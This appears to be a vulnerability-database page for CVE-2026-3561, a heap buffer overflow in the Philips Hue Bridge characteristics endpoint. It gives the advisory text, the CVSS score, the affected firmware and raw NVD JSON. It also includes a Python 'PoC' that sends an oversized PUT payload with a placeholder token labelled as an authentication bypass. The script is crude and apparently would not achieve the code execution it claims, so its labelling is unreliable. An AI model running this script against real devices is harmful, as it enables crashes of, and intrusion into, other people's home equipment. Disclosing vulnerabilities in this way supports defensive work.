Security Vulnerability Report
中文
CVE-2026-3561 CVSS 8.0 HIGH

CVE-2026-3561

Published: 2026-03-16 14:19:52
Last Modified: 2026-04-27 14:30:02

Description

Philips Hue Bridge hk_hap characteristics Heap-based Buffer Overflow Remote Code Execution Vulnerability. This vulnerability allows network-adjacent attackers to execute arbitrary code on affected installations of Philips Hue Bridge. Although authentication is required to exploit this vulnerability, the existing authentication mechanism can be bypassed. The specific flaw exists within the handling of PUT requests to the characteristics endpoint. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a heap-based buffer. An attacker can leverage this vulnerability to execute code in the context of the device. Was ZDI-CAN-28479.

CVSS Details

CVSS Score
8.0
Severity
HIGH
CVSS Vector
CVSS:3.0/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:philips:hue_bridge_v2_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:philips:hue_bridge_v2:-:*:*:*:*:*:*:* - NOT VULNERABLE
Philips Hue Bridge (所有未修复版本)
Philips Hue Bridge 固件版本 < 最新安全更新版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # CVE-2026-3561 PoC - Philips Hue Bridge Heap Buffer Overflow RCE # This PoC demonstrates the heap buffer overflow in hk_hap characteristics endpoint import requests import json import struct TARGET_IP = "192.168.1.100" # Target Philips Hue Bridge IP TARGET_PORT = 80 def create_malicious_payload(): """Create payload that triggers heap buffer overflow""" # Overflow payload - sends data exceeding buffer size # The actual exploitation requires specific heap layout manipulation overflow_size = 1024 # Larger than expected buffer payload = { "characteristics": [ { "aid": 1, "iid": 8, "value": "A" * overflow_size # Overflow data } ] } return payload def exploit_cve_2026_3561(): """Attempt exploitation of CVE-2026-3561""" url = f"http://{TARGET_IP}:{TARGET_PORT}/characteristics" headers = { "Content-Type": "application/hap+json", "Authorization": "Bearer manipulated_token" # Bypass authentication } payload = create_malicious_payload() try: response = requests.put(url, json=payload, headers=headers, timeout=10) print(f"Response Status: {response.status_code}") print(f"Response: {response.text}") except requests.exceptions.RequestException as e: print(f"Request failed: {e}") if __name__ == "__main__": print("CVE-2026-3561 PoC - Philips Hue Bridge Heap Buffer Overflow") print("Target: Philips Hue Bridge") print("Vulnerability: Heap-based buffer overflow in characteristics endpoint") exploit_cve_2026_3561()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-3561", "sourceIdentifier": "[email protected]", "published": "2026-03-16T14:19:52.197", "lastModified": "2026-04-27T14:30:01.860", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Philips Hue Bridge hk_hap characteristics Heap-based Buffer Overflow Remote Code Execution Vulnerability. This vulnerability allows network-adjacent attackers to execute arbitrary code on affected installations of Philips Hue Bridge. Although authentication is required to exploit this vulnerability, the existing authentication mechanism can be bypassed.\n\nThe specific flaw exists within the handling of PUT requests to the characteristics endpoint. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a heap-based buffer. An attacker can leverage this vulnerability to execute code in the context of the device. Was ZDI-CAN-28479."}, {"lang": "es", "value": "Vulnerabilidad de ejecución remota de código por desbordamiento de búfer basado en montículo en las características hk_hap de Philips Hue Bridge. Esta vulnerabilidad permite a atacantes adyacentes a la red ejecutar código arbitrario en instalaciones afectadas de Philips Hue Bridge. Aunque se requiere autenticación para explotar esta vulnerabilidad, el mecanismo de autenticación existente puede ser eludido.\n\nLa falla específica reside en el manejo de solicitudes PUT al endpoint de características. El problema resulta de la falta de validación adecuada de la longitud de los datos proporcionados por el usuario antes de copiarlos a un búfer basado en montículo. Un atacante puede aprovechar esta vulnerabilidad para ejecutar código en el contexto del dispositivo. Fue ZDI-CAN-28479."}], "metrics": {"cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.0, "baseSeverity": "HIGH", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.1, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-122"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:philips:hue_bridge_v2_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "1975170000", "matchCriteriaId": "C4C925A5-D9FB-482D-A98D-F879B1BD21EC"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:philips:hue_bridge_v2:-:*:*:*:*:*:*:*", "matchCriteriaId": "55B37D18-3A59-423E-9D73-F80DFDB14C4D"}]}]}], "references": [{"url": "https://www.zerodayinitiative.com/advisories/ZDI-26-159/", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}